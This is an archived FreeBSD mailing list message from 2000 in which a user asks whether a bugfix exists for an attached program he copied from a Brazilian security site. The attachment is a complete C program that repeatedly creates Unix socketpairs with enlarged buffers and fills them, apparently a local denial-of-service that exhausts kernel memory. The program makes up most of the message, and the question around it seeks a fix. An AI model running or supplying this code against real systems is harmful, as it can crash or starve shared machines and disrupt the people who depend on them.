Date: Mon, 05 Jun 2000 21:30:21 -0300 From: Gustavo Vieira Goncalves Coelho Rios <kernel@tdnet.com.br> To: questions@freebsd.org Subject: is there a bugfix for the following attach ? Message-ID: <393C461D.DCA642C3@tdnet.com.br>
index | next in thread | raw e-mail
[-- Attachment #1 --]
Is not mine! I cat-and-paste from a BR site: www.securenet.com.br!
--
Your mouse has moved.
Windows NT must be restarted for the change to take effect!
Reboot now? [ OK]
[-- Attachment #2 --]
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i,
sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i,
sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i,
sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
help
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?393C461D.DCA642C3>
